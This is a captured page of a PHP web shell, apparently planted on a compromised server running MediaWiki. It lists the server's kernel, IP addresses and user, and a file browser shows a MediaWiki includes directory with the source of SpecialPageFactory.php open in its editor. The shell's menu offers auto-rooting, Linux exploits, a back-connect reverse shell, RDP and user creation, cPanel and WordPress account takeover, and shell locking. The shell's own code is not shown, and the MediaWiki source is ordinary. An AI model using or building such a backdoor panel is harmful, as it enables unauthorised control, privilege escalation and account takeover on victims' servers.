Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
thearyasamaj /
public_html /
discover /
includes /
[ HOME SHELL ]
Name
Size
Permission
Action
actions
[ DIR ]
drwxr-xr-x
api
[ DIR ]
drwxr-xr-x
cache
[ DIR ]
drwxr-xr-x
context
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
debug
[ DIR ]
drwxr-xr-x
diff
[ DIR ]
drwxr-xr-x
extauth
[ DIR ]
drwxr-xr-x
filerepo
[ DIR ]
drwxr-xr-x
installer
[ DIR ]
drwxr-xr-x
interwiki
[ DIR ]
drwxr-xr-x
job
[ DIR ]
drwxr-xr-x
json
[ DIR ]
drwxr-xr-x
libs
[ DIR ]
drwxr-xr-x
logging
[ DIR ]
drwxr-xr-x
media
[ DIR ]
drwxr-xr-x
normal
[ DIR ]
drwxr-xr-x
objectcache
[ DIR ]
drwxr-xr-x
parser
[ DIR ]
drwxr-xr-x
profiler
[ DIR ]
drwxr-xr-x
resourceloader
[ DIR ]
drwxr-xr-x
revisiondelete
[ DIR ]
drwxr-xr-x
search
[ DIR ]
drwxr-xr-x
specials
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
upload
[ DIR ]
drwxr-xr-x
zhtable
[ DIR ]
drwxr-xr-x
.htaccess
14
B
-rw-r--r--
Action.php
14.69
KB
-rw-r--r--
AjaxDispatcher.php
3.34
KB
-rw-r--r--
AjaxResponse.php
6.32
KB
-rw-r--r--
Article.php
54.32
KB
-rw-r--r--
AuthPlugin.php
7.85
KB
-rw-r--r--
AutoLoader.php
52.01
KB
-rw-r--r--
Autopromote.php
5.92
KB
-rw-r--r--
BacklinkCache.php
9.32
KB
-rw-r--r--
Block.php
33.87
KB
-rw-r--r--
Category.php
8.44
KB
-rw-r--r--
CategoryPage.php
2.58
KB
-rw-r--r--
CategoryViewer.php
20
KB
-rw-r--r--
Categoryfinder.php
5.16
KB
-rw-r--r--
Cdb.php
3.67
KB
-rw-r--r--
Cdb_PHP.php
10.73
KB
-rw-r--r--
ChangeTags.php
8.57
KB
-rw-r--r--
ChangesFeed.php
5.94
KB
-rw-r--r--
ChangesList.php
34.87
KB
-rw-r--r--
Collation.php
9.86
KB
-rw-r--r--
ConfEditor.php
29.16
KB
-rw-r--r--
Cookie.php
6.22
KB
-rw-r--r--
CryptRand.php
17.09
KB
-rw-r--r--
DefaultSettings.php
186.34
KB
-rw-r--r--
DeferredUpdates.php
2.06
KB
-rw-r--r--
Defines.php
7.21
KB
-rw-r--r--
EditPage.php
103.6
KB
-rw-r--r--
Exception.php
13.93
KB
-rw-r--r--
Export.php
32.68
KB
-rw-r--r--
ExternalEdit.php
3.51
KB
-rw-r--r--
ExternalStore.php
4.29
KB
-rw-r--r--
ExternalStoreDB.php
4.47
KB
-rw-r--r--
ExternalStoreHttp.php
463
B
-rw-r--r--
ExternalUser.php
8.96
KB
-rw-r--r--
FakeTitle.php
6.54
KB
-rw-r--r--
Fallback.php
5.61
KB
-rw-r--r--
Feed.php
10.26
KB
-rw-r--r--
FeedUtils.php
6.37
KB
-rw-r--r--
FileDeleteForm.php
10.06
KB
-rw-r--r--
ForkController.php
4.04
KB
-rw-r--r--
FormOptions.php
7.56
KB
-rw-r--r--
GlobalFunctions.php
107.24
KB
-rw-r--r--
HTMLForm.php
53.15
KB
-rw-r--r--
HistoryBlob.php
14.38
KB
-rw-r--r--
Hooks.php
7.89
KB
-rw-r--r--
Html.php
26.4
KB
-rw-r--r--
HttpFunctions.old.php
318
B
-rw-r--r--
HttpFunctions.php
23.29
KB
-rw-r--r--
IP.php
21.76
KB
-rw-r--r--
ImageFunctions.php
2.33
KB
-rw-r--r--
ImageGallery.php
10.42
KB
-rw-r--r--
ImagePage.php
36.96
KB
-rw-r--r--
ImageQueryPage.php
1.5
KB
-rw-r--r--
Import.php
37.73
KB
-rw-r--r--
Init.php
5.19
KB
-rw-r--r--
Licenses.php
4.17
KB
-rw-r--r--
LinkFilter.php
4.46
KB
-rw-r--r--
Linker.php
67.82
KB
-rw-r--r--
LinksUpdate.php
24.83
KB
-rw-r--r--
LocalisationCache.php
31.51
KB
-rw-r--r--
MWFunction.php
2.22
KB
-rw-r--r--
MagicWord.php
19.42
KB
-rw-r--r--
Message.php
15.95
KB
-rw-r--r--
MessageBlobStore.php
10.5
KB
-rw-r--r--
Metadata.php
5.5
KB
-rw-r--r--
MimeMagic.php
32.92
KB
-rw-r--r--
Namespace.php
9.02
KB
-rw-r--r--
OutputHandler.php
4.81
KB
-rw-r--r--
OutputPage.php
104.02
KB
-rw-r--r--
PHPVersionError.php
2.95
KB
-rw-r--r--
PageQueryPage.php
639
B
-rw-r--r--
Pager.php
33.1
KB
-rw-r--r--
PathRouter.php
11.23
KB
-rw-r--r--
PoolCounter.php
5.69
KB
-rw-r--r--
Preferences.php
47.49
KB
-rw-r--r--
PrefixSearch.php
5.55
KB
-rw-r--r--
ProtectionForm.php
20.1
KB
-rw-r--r--
ProxyTools.php
2.5
KB
-rw-r--r--
QueryPage.php
22.78
KB
-rw-r--r--
RecentChange.php
22.31
KB
-rw-r--r--
Revision.php
33.01
KB
-rw-r--r--
RevisionList.php
7.2
KB
-rw-r--r--
Sanitizer.php
52.53
KB
-rw-r--r--
SeleniumWebSettings.php
5.85
KB
-rw-r--r--
Setup.php
16.36
KB
-rw-r--r--
SiteConfiguration.php
12.88
KB
-rw-r--r--
SiteStats.php
11.54
KB
-rw-r--r--
Skin.php
41.11
KB
-rw-r--r--
SkinLegacy.php
20.25
KB
-rw-r--r--
SkinTemplate.php
62.44
KB
-rw-r--r--
SpecialPage.php
32.82
KB
-rw-r--r--
SpecialPageFactory.php
18.3
KB
-rw-r--r--
SquidPurgeClient.php
10.05
KB
-rw-r--r--
Status.php
8.62
KB
-rw-r--r--
StreamFile.php
5.46
KB
-rw-r--r--
StringUtils.php
11.32
KB
-rw-r--r--
StubObject.php
4.61
KB
-rw-r--r--
Title.php
133.73
KB
-rw-r--r--
TitleArray.php
1.95
KB
-rw-r--r--
User.php
116.25
KB
-rw-r--r--
UserArray.php
1.92
KB
-rw-r--r--
UserMailer.php
24.12
KB
-rw-r--r--
UserRightsProxy.php
5.56
KB
-rw-r--r--
ViewCountUpdate.php
3.43
KB
-rw-r--r--
WatchedItem.php
4.81
KB
-rw-r--r--
WebRequest.php
37.03
KB
-rw-r--r--
WebResponse.php
4.29
KB
-rw-r--r--
WebStart.php
4.94
KB
-rw-r--r--
Wiki.php
18.24
KB
-rw-r--r--
WikiCategoryPage.php
618
B
-rw-r--r--
WikiError.php
3.88
KB
-rw-r--r--
WikiFilePage.php
3.71
KB
-rw-r--r--
WikiMap.php
5.38
KB
-rw-r--r--
WikiPage.php
85.98
KB
-rw-r--r--
Xml.php
27.63
KB
-rw-r--r--
XmlTypeCheck.php
2.52
KB
-rw-r--r--
ZhClient.php
2.85
KB
-rw-r--r--
ZhConversion.php
415
KB
-rw-r--r--
ZipDirectoryReader.php
20.33
KB
-rw-r--r--
mime.info
3.86
KB
-rw-r--r--
mime.types
5.24
KB
-rw-r--r--
tidy.conf
413
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : SpecialPageFactory.php
<?php /** * SpecialPage: handling special pages and lists thereof. * * To add a special page in an extension, add to $wgSpecialPages either * an object instance or an array containing the name and constructor * parameters. The latter is preferred for performance reasons. * * The object instantiated must be either an instance of SpecialPage or a * sub-class thereof. It must have an execute() method, which sends the HTML * for the special page to $wgOut. The parent class has an execute() method * which distributes the call to the historical global functions. Additionally, * execute() also checks if the user has the necessary access privileges * and bails out if not. * * To add a core special page, use the similar static list in * SpecialPage::$mList. To remove a core static special page at runtime, use * a SpecialPage_initList hook. * * @file * @ingroup SpecialPage * @defgroup SpecialPage SpecialPage */ /** * Factory for handling the special page list and generating SpecialPage objects * @ingroup SpecialPage * @since 1.17 */ class SpecialPageFactory { /** * List of special page names to the subclass of SpecialPage which handles them. */ private static $mList = array( // Maintenance Reports 'BrokenRedirects' => 'BrokenRedirectsPage', 'Deadendpages' => 'DeadendpagesPage', 'DoubleRedirects' => 'DoubleRedirectsPage', 'Longpages' => 'LongpagesPage', 'Ancientpages' => 'AncientpagesPage', 'Lonelypages' => 'LonelypagesPage', 'Fewestrevisions' => 'FewestrevisionsPage', 'Withoutinterwiki' => 'WithoutinterwikiPage', 'Protectedpages' => 'SpecialProtectedpages', 'Protectedtitles' => 'SpecialProtectedtitles', 'Shortpages' => 'ShortpagesPage', 'Uncategorizedcategories' => 'UncategorizedcategoriesPage', 'Uncategorizedimages' => 'UncategorizedimagesPage', 'Uncategorizedpages' => 'UncategorizedpagesPage', 'Uncategorizedtemplates' => 'UncategorizedtemplatesPage', 'Unusedcategories' => 'UnusedcategoriesPage', 'Unusedimages' => 'UnusedimagesPage', 'Unusedtemplates' => 'UnusedtemplatesPage', 'Unwatchedpages' => 'UnwatchedpagesPage', 'Wantedcategories' => 'WantedcategoriesPage', 'Wantedfiles' => 'WantedfilesPage', 'Wantedpages' => 'WantedpagesPage', 'Wantedtemplates' => 'WantedtemplatesPage', // List of pages 'Allpages' => 'SpecialAllpages', 'Prefixindex' => 'SpecialPrefixindex', 'Categories' => 'SpecialCategories', 'Disambiguations' => 'DisambiguationsPage', 'Listredirects' => 'ListredirectsPage', // Login/create account 'Userlogin' => 'LoginForm', 'CreateAccount' => 'SpecialCreateAccount', // Users and rights 'Block' => 'SpecialBlock', 'Unblock' => 'SpecialUnblock', 'BlockList' => 'SpecialBlockList', 'ChangePassword' => 'SpecialChangePassword', 'PasswordReset' => 'SpecialPasswordReset', 'DeletedContributions' => 'DeletedContributionsPage', 'Preferences' => 'SpecialPreferences', 'Contributions' => 'SpecialContributions', 'Listgrouprights' => 'SpecialListGroupRights', 'Listusers' => 'SpecialListUsers' , 'Listadmins' => 'SpecialListAdmins', 'Listbots' => 'SpecialListBots', 'Activeusers' => 'SpecialActiveUsers', 'Userrights' => 'UserrightsPage', 'EditWatchlist' => 'SpecialEditWatchlist', // Recent changes and logs 'Newimages' => 'SpecialNewFiles', 'Log' => 'SpecialLog', 'Watchlist' => 'SpecialWatchlist', 'Newpages' => 'SpecialNewpages', 'Recentchanges' => 'SpecialRecentchanges', 'Recentchangeslinked' => 'SpecialRecentchangeslinked', 'Tags' => 'SpecialTags', // Media reports and uploads 'Listfiles' => 'SpecialListFiles', 'Filepath' => 'SpecialFilepath', 'MIMEsearch' => 'MIMEsearchPage', 'FileDuplicateSearch' => 'FileDuplicateSearchPage', 'Upload' => 'SpecialUpload', 'UploadStash' => 'SpecialUploadStash', // Wiki data and tools 'Statistics' => 'SpecialStatistics', 'Allmessages' => 'SpecialAllmessages', 'Version' => 'SpecialVersion', 'Lockdb' => 'SpecialLockdb', 'Unlockdb' => 'SpecialUnlockdb', // Redirecting special pages 'LinkSearch' => 'LinkSearchPage', 'Randompage' => 'Randompage', 'Randomredirect' => 'SpecialRandomredirect', // High use pages 'Mostlinkedcategories' => 'MostlinkedCategoriesPage', 'Mostimages' => 'MostimagesPage', 'Mostlinked' => 'MostlinkedPage', 'Mostlinkedtemplates' => 'MostlinkedTemplatesPage', 'Mostcategories' => 'MostcategoriesPage', 'Mostrevisions' => 'MostrevisionsPage', // Page tools 'ComparePages' => 'SpecialComparePages', 'Export' => 'SpecialExport', 'Import' => 'SpecialImport', 'Undelete' => 'SpecialUndelete', 'Whatlinkshere' => 'SpecialWhatlinkshere', 'MergeHistory' => 'SpecialMergeHistory', // Other 'Booksources' => 'SpecialBookSources', // Unlisted / redirects 'Blankpage' => 'SpecialBlankpage', 'Blockme' => 'SpecialBlockme', 'Emailuser' => 'SpecialEmailUser', 'JavaScriptTest' => 'SpecialJavaScriptTest', 'Movepage' => 'MovePageForm', 'Mycontributions' => 'SpecialMycontributions', 'Mypage' => 'SpecialMypage', 'Mytalk' => 'SpecialMytalk', 'Myuploads' => 'SpecialMyuploads', 'PermanentLink' => 'SpecialPermanentLink', 'Revisiondelete' => 'SpecialRevisionDelete', 'Specialpages' => 'SpecialSpecialpages', 'Userlogout' => 'SpecialUserlogout', ); private static $mAliases; /** * Initialise the special page list * This must be called before accessing SpecialPage::$mList * * @return array */ static function getList() { global $wgSpecialPages; global $wgDisableCounters, $wgDisableInternalSearch, $wgEmailAuthentication; global $wgEnableEmail; if ( !is_object( self::$mList ) ) { wfProfileIn( __METHOD__ ); if ( !$wgDisableCounters ) { self::$mList['Popularpages'] = 'PopularpagesPage'; } if ( !$wgDisableInternalSearch ) { self::$mList['Search'] = 'SpecialSearch'; } if ( $wgEmailAuthentication ) { self::$mList['Confirmemail'] = 'EmailConfirmation'; self::$mList['Invalidateemail'] = 'EmailInvalidation'; } if ( $wgEnableEmail ) { self::$mList['ChangeEmail'] = 'SpecialChangeEmail'; } // Add extension special pages self::$mList = array_merge( self::$mList, $wgSpecialPages ); // Run hooks // This hook can be used to remove undesired built-in special pages wfRunHooks( 'SpecialPage_initList', array( &self::$mList ) ); // Cast to object: func()[$key] doesn't work, but func()->$key does settype( self::$mList, 'object' ); wfProfileOut( __METHOD__ ); } return self::$mList; } /** * Initialise and return the list of special page aliases. Returns an object with * properties which can be accessed $obj->pagename - each property is an array of * aliases; the first in the array is the cannonical alias. All registered special * pages are guaranteed to have a property entry, and for that property array to * contain at least one entry (English fallbacks will be added if necessary). * @return Object */ static function getAliasList() { if ( !is_object( self::$mAliases ) ) { global $wgContLang; $aliases = $wgContLang->getSpecialPageAliases(); // Objects are passed by reference by default, need to create a copy $missingPages = clone self::getList(); self::$mAliases = array(); foreach ( $aliases as $realName => $aliasList ) { foreach ( $aliasList as $alias ) { self::$mAliases[$wgContLang->caseFold( $alias )] = $realName; } unset( $missingPages->$realName ); } foreach ( $missingPages as $name => $stuff ) { self::$mAliases[$wgContLang->caseFold( $name )] = $name; } // Cast to object: func()[$key] doesn't work, but func()->$key does self::$mAliases = (object)self::$mAliases; } return self::$mAliases; } /** * Given a special page name with a possible subpage, return an array * where the first element is the special page name and the second is the * subpage. * * @param $alias String * @return Array( String, String|null ), or array( null, null ) if the page is invalid */ public static function resolveAlias( $alias ) { global $wgContLang; $bits = explode( '/', $alias, 2 ); $caseFoldedAlias = $wgContLang->caseFold( $bits[0] ); $caseFoldedAlias = str_replace( ' ', '_', $caseFoldedAlias ); if ( isset( self::getAliasList()->$caseFoldedAlias ) ) { $name = self::getAliasList()->$caseFoldedAlias; } else { return array( null, null ); } if ( !isset( $bits[1] ) ) { // bug 2087 $par = null; } else { $par = $bits[1]; } return array( $name, $par ); } /** * Add a page to a certain display group for Special:SpecialPages * * @param $page Mixed: SpecialPage or string * @param $group String */ public static function setGroup( $page, $group ) { global $wgSpecialPageGroups; $name = is_object( $page ) ? $page->getName() : $page; $wgSpecialPageGroups[$name] = $group; } /** * Get the group that the special page belongs in on Special:SpecialPage * * @param $page SpecialPage */ public static function getGroup( &$page ) { $name = $page->getName(); global $wgSpecialPageGroups; static $specialPageGroupsCache = array(); if ( isset( $specialPageGroupsCache[$name] ) ) { return $specialPageGroupsCache[$name]; } $msg = wfMessage( 'specialpages-specialpagegroup-' . strtolower( $name ) ); if ( !$msg->isBlank() ) { $group = $msg->text(); } else { $group = isset( $wgSpecialPageGroups[$name] ) ? $wgSpecialPageGroups[$name] : '-'; } if ( $group == '-' ) { $group = 'other'; } $specialPageGroupsCache[$name] = $group; return $group; } /** * Check if a given name exist as a special page or as a special page alias * * @param $name String: name of a special page * @return Boolean: true if a special page exists with this name */ public static function exists( $name ) { list( $title, /*...*/ ) = self::resolveAlias( $name ); return property_exists( self::getList(), $title ); } /** * Find the object with a given name and return it (or NULL) * * @param $name String Special page name, may be localised and/or an alias * @return SpecialPage object or null if the page doesn't exist */ public static function getPage( $name ) { list( $realName, /*...*/ ) = self::resolveAlias( $name ); if ( property_exists( self::getList(), $realName ) ) { $rec = self::getList()->$realName; if ( is_string( $rec ) ) { $className = $rec; return new $className; } elseif ( is_array( $rec ) ) { // @deprecated, officially since 1.18, unofficially since forever wfDebug( "Array syntax for \$wgSpecialPages is deprecated, define a subclass of SpecialPage instead." ); $className = array_shift( $rec ); self::getList()->$realName = MWFunction::newObj( $className, $rec ); } return self::getList()->$realName; } else { return null; } } /** * Return categorised listable special pages which are available * for the current user, and everyone. * * @param $user User object to check permissions, $wgUser will be used * if not provided * @return Array( String => Specialpage ) */ public static function getUsablePages( User $user = null ) { $pages = array(); if ( $user === null ) { global $wgUser; $user = $wgUser; } foreach ( self::getList() as $name => $rec ) { $page = self::getPage( $name ); if ( $page // not null && $page->isListed() && ( !$page->isRestricted() || $page->userCanExecute( $user ) ) ) { $pages[$name] = $page; } } return $pages; } /** * Return categorised listable special pages for all users * * @return Array( String => Specialpage ) */ public static function getRegularPages() { $pages = array(); foreach ( self::getList() as $name => $rec ) { $page = self::getPage( $name ); if ( $page->isListed() && !$page->isRestricted() ) { $pages[$name] = $page; } } return $pages; } /** * Return categorised listable special pages which are available * for the current user, but not for everyone * * @return Array( String => Specialpage ) */ public static function getRestrictedPages() { global $wgUser; $pages = array(); foreach ( self::getList() as $name => $rec ) { $page = self::getPage( $name ); if ( $page->isListed() && $page->isRestricted() && $page->userCanExecute( $wgUser ) ) { $pages[$name] = $page; } } return $pages; } /** * Execute a special page path. * The path may contain parameters, e.g. Special:Name/Params * Extracts the special page name and call the execute method, passing the parameters * * Returns a title object if the page is redirected, false if there was no such special * page, and true if it was successful. * * @param $title Title object * @param $context IContextSource * @param $including Bool output is being captured for use in {{special:whatever}} * * @return bool */ public static function executePath( Title &$title, IContextSource &$context, $including = false ) { wfProfileIn( __METHOD__ ); // @todo FIXME: Redirects broken due to this call $bits = explode( '/', $title->getDBkey(), 2 ); $name = $bits[0]; if ( !isset( $bits[1] ) ) { // bug 2087 $par = null; } else { $par = $bits[1]; } $page = self::getPage( $name ); // Nonexistent? if ( !$page ) { $context->getOutput()->setArticleRelated( false ); $context->getOutput()->setRobotPolicy( 'noindex,nofollow' ); global $wgSend404Code; if ( $wgSend404Code ) { $context->getOutput()->setStatusCode( 404 ); } $context->getOutput()->showErrorPage( 'nosuchspecialpage', 'nospecialpagetext' ); wfProfileOut( __METHOD__ ); return false; } // Page exists, set the context $page->setContext( $context ); if ( !$including ) { // Redirect to canonical alias for GET commands // Not for POST, we'd lose the post data, so it's best to just distribute // the request. Such POST requests are possible for old extensions that // generate self-links without being aware that their default name has // changed. if ( $name != $page->getLocalName() && !$context->getRequest()->wasPosted() ) { $query = $context->getRequest()->getQueryValues(); unset( $query['title'] ); $query = wfArrayToCGI( $query ); $title = $page->getTitle( $par ); $url = $title->getFullUrl( $query ); $context->getOutput()->redirect( $url ); wfProfileOut( __METHOD__ ); return $title; } else { $context->setTitle( $page->getTitle( $par ) ); } } elseif ( !$page->isIncludable() ) { wfProfileOut( __METHOD__ ); return false; } $page->including( $including ); // Execute special page $profName = 'Special:' . $page->getName(); wfProfileIn( $profName ); $page->execute( $par ); wfProfileOut( $profName ); wfProfileOut( __METHOD__ ); return true; } /** * Just like executePath() but will override global variables and execute * the page in "inclusion" mode. Returns true if the execution was * successful or false if there was no such special page, or a title object * if it was a redirect. * * Also saves the current $wgTitle, $wgOut, $wgRequest, $wgUser and $wgLang * variables so that the special page will get the context it'd expect on a * normal request, and then restores them to their previous values after. * * @param $title Title * @param $context IContextSource * * @return String: HTML fragment */ static function capturePath( Title $title, IContextSource $context ) { global $wgOut, $wgTitle, $wgRequest, $wgUser, $wgLang; // Save current globals $oldTitle = $wgTitle; $oldOut = $wgOut; $oldRequest = $wgRequest; $oldUser = $wgUser; $oldLang = $wgLang; // Set the globals to the current context $wgTitle = $title; $wgOut = $context->getOutput(); $wgRequest = $context->getRequest(); $wgUser = $context->getUser(); $wgLang = $context->getLanguage(); // The useful part $ret = self::executePath( $title, $context, true ); // And restore the old globals $wgTitle = $oldTitle; $wgOut = $oldOut; $wgRequest = $oldRequest; $wgUser = $oldUser; $wgLang = $oldLang; return $ret; } /** * Get the local name for a specified canonical name * * @param $name String * @param $subpage String|Bool * * @return String */ static function getLocalNameFor( $name, $subpage = false ) { global $wgContLang; $aliases = $wgContLang->getSpecialPageAliases(); if ( isset( $aliases[$name][0] ) ) { $name = $aliases[$name][0]; } else { // Try harder in case someone misspelled the correct casing $found = false; foreach ( $aliases as $n => $values ) { if ( strcasecmp( $name, $n ) === 0 ) { wfWarn( "Found alias defined for $n when searching for " . "special page aliases for $name. Case mismatch?" ); $name = $values[0]; $found = true; break; } } if ( !$found ) { wfWarn( "Did not find alias for special page '$name'. " . "Perhaps no aliases are defined for it?" ); } } if ( $subpage !== false && !is_null( $subpage ) ) { $name = "$name/$subpage"; } return $wgContLang->ucfirst( $name ); } /** * Get a title for a given alias * * @param $alias String * * @return Title or null if there is no such alias */ static function getTitleForAlias( $alias ) { $name = self::resolveAlias( $alias ); if ( $name ) { return SpecialPage::getTitleFor( $name ); } else { return null; } } }
Close